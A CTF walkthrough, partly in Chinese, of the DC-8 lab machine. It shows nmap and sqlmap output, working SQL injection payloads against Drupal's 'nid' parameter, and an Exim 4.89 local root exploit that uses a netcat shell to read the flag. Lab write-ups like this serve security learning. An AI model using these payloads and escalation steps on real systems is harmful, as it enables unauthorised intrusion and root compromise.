$ nmap -A 192.168.31.208 Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-07 03:08 EST Nmap scan report for 192.168.31.208 Host is up (0.00067s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 35:a7:e6:c4:a8:3c:63:1d:e1:c0:ca:a3:66:bc:88:bf (RSA) | 256 ab:ef:9f:69:ac:ea:54:c6:8c:61:55:49:0a:e7:aa:d9 (ECDSA) |_ 256 7a:b2:c6:87:ec:93:76:d4:ea:59:4b:1b:c6:e8:73:f2 (ED25519) 80/tcp open http Apache httpd |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache |_http-title: Welcome to DC-8 | DC-8 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.65 seconds
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 04:06:17 /2020-12-07/
[04:06:17][INFO] testing connection to the target URL [04:06:17][INFO] testing if the target URL content is stable [04:06:17][WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' C [04:06:22][INFO] testing if GET parameter 'nid' is dynamic [04:06:22][WARNING] GET parameter 'nid' does not appear to be dynamic [04:06:22][INFO] heuristic (basic) test shows that GET parameter 'nid' might be injectable (possible DBMS: 'MySQL') [04:06:22][INFO] testing for SQL injection on GET parameter 'nid' Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [04:06:29][INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [04:06:29][WARNING] reflective value(s) found and filtering out [04:06:30][INFO] GET parameter 'nid' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Status message") [04:06:30][INFO] testing 'Generic inline queries' [04:06:30][INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [04:06:30][INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [04:06:30][INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [04:06:30][INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [04:06:30][INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [04:06:30][WARNING] potential permission problems detected ('command denied') [04:06:30][INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [04:06:30][INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [04:06:30][INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [04:06:30][INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [04:06:30][INFO] GET parameter 'nid' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [04:06:30][INFO] testing 'MySQL inline queries' [04:06:30][INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [04:06:30][WARNING] time-based comparison requires larger statistical model, please wait........... (done) [04:06:30][INFO] testing 'MySQL >= 5.0.12 stacked queries' [04:06:30][INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [04:06:30][INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [04:06:30][INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [04:06:30][INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [04:06:30][INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [04:06:40][INFO] GET parameter 'nid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [04:06:40][INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [04:06:40][INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [04:06:40][INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [04:06:40][INFO] target URL appears to have 1 column in query [04:06:40][INFO] GET parameter 'nid' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'nid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests: --- Parameter: nid (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: nid=1 AND 8987=8987
Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: nid=1 AND (SELECT 1423 FROM(SELECT COUNT(*),CONCAT(0x716b766a71,(SELECT (ELT(1423=1423,1))),0x717a786271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: nid=1 AND (SELECT 5677 FROM (SELECT(SLEEP(5)))tnIs)
Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: nid=-2257 UNION ALL SELECT CONCAT(0x716b766a71,0x554a565070466579745a47744a596c54484e42427443756b6f74517a584f4e685957576d47465968,0x717a786271)-- - --- [04:06:50][INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0 (MariaDB fork) [04:06:50][WARNING] HTTP error codes detected during run: 500 (Internal Server Error) - 25 times [04:06:50][INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.31.208'
eim4 --version Exim version 4.89 #2 built 14-Jun-2017 05:03:07 Copyright (c) University of Cambridge, 1995 - 2017 (c) The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 - 2017 Berkeley DB: Berkeley DB 5.3.28: (September 9, 2013) Support for: crypteq iconv() IPv6 GnuTLS move_frozen_messages DKIM DNSSEC Event OCSP PRDR SOCKS TCP_Fast_Open Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb dsearch nis nis0 passwd Authenticators: cram_md5 plaintext Routers: accept dnslookup ipliteral manualroute queryprogram redirect Transports: appendfile/maildir/mailstore autoreply lmtp pipe smtp Fixed never_users: 0 Configure owner: 0:0 Size of off_t: 8 Configuration file is /var/lib/exim4/config.autogenerated
我们知道了 version is 4.89
接下来 就是检索一下 searchsploit
1 2 3 4 5 6 7 8 9 10
$ searchsploit exim 4.89 ---------------------------------------------- --------------------------------- Exploit Title | Path ---------------------------------------------- --------------------------------- Exim 4.87 < 4.91 - (Local / Remote) Command E | linux/remote/46974.txt Exim 4.89 - 'BDAT' Denial of Service | multiple/dos/43184.txt Exim < 4.90.1 - 'base64d' Remote Code Executi | linux/remote/44571.py PHPMailer < 5.2.20 with Exim MTA - Remote Cod | php/webapps/42221.py ---------------------------------------------- --------------------------------- Shellcodes: No Results
一番检查和尝试之后 发现这里的好像第一条是适用的
1 2 3 4 5 6 7 8 9 10
#cat这个txt文件之后有一段话
Because expand_string() recognizes the "${run{<command> <args>}}" expansion item, and because new->address is the recipient of the mail that is being delivered, a local attacker can simply send a mail to "${run{...}}@localhost" (where"localhost"is one of Exim's local_domains) and execute arbitrary commands, as root (deliver_drop_privilege isfalse, bydefault):
raptor_exim_wiz - "The Return of the WIZard" LPE exploit Copyright (c) 2019 Marco Ivaldi <[email protected]>
Delivering netcat payload... 220 dc-8 ESMTP Exim 4.89 Mon, 14 Dec 2020 16:12:30 +1000 250 dc-8 Hello localhost [::1] 250 OK 250 Accepted 354 Enter message, ending with "." on a line by itself 250 OK id=1koh5y-0001gB-RR 221 dc-8 closing connection
Waiting 5 seconds... localhost [127.0.0.1] 31337 (?) open ls db gnutls-params-2048 input msglog whoami root ls db gnutls-params-2048 input msglog cd /root ls flag.txt cat flag.txt
Hope you enjoyed DC-8. Just wanted to send a big thanks out there to all those who have provided feedback, and all those who have taken the time to complete these little challenges.
I'm also sending out an especially big thanks to:
@4nqr34z @D4mianWayne @0xmzfr @theart42
This challenge was largely based on two things:
1. A Tweet that I came across from someone asking about 2FA on a Linux box, and whether it was worthwhile. 2. A suggestion from @theart42
The answer to that question is...
If you enjoyed this CTF, send me a tweet via @DCAU7.